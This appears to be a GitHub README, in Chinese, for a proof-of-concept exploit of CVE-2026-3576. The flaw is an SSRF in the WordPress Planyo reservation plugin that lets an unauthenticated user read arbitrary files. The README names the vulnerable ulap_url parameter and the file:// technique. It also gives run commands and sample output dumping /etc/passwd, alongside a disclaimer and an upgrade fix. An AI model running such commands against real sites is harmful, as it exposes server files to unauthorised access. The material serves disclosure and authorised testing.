anirbala98/CVE-2026-3576
GitHub: anirbala98/CVE-2026-3576
针对 WordPress Planyo 预约系统插件 SSRF 漏洞（CVE-2026-3576）的 PoC 利用工具，支持自动检测版本并读取任意文件。
Stars: 0 | Forks: 0
# CVE-2026-3576 - Wordpress Plugin Planyo Online Reservation System <= 3.0 - 通过 SSRF 进行任意文件读取
本仓库包含针对 CVE-2026-3576 的概念验证（PoC）漏洞利用代码。
## 免责声明
本项目仅供教育目的和授权的安全测试使用。请勿在未经许可或您不拥有的系统上使用它。
## 概述
在 3.1 版本之前的 wordpress Planyo Online Reservation System 插件中存在服务端请求伪造（SSRF）漏洞。它允许未经身份验证的攻击者通过 `ulap\_url` 参数提供 `file://` URL，从而导致任意文件访问。
## 受影响版本
| 组件 | 版本 |
| --- | --- |
| 存在漏洞的插件 | <=3.0 |
| 已修复的插件 | 3.1 |
## 环境要求
- Python 3.13.14
- Requests 2.32.5
## 安装说明
```
git clone https://github.com/anirbala98/CVE-2026-3576.git
cd CVE-2026-3576/
pip install -r requirements.txt
```
## 使用方法
```
python exploit.py -f --disable-check
python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd
```
## 示例
```
└─$ python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd
[*] Checking if target is vulnerable...
[+] Version found: 2.9
[+] Target is vulnerable
[*] Attempting to read arbitrary file...
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
```
## 缓解措施
将插件升级至 3.1 版本。
## 参考
- https://nvd.nist.gov/vuln/detail/CVE-2026-3576
- https://www.planyo.com/wordpress-reservation-system/
- https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/
标签：CISA项目, PoC, Python, Web安全, 字符串匹配, 安全, 无后门, 暴力破解, 蓝队分析, 超时处理, 逆向工具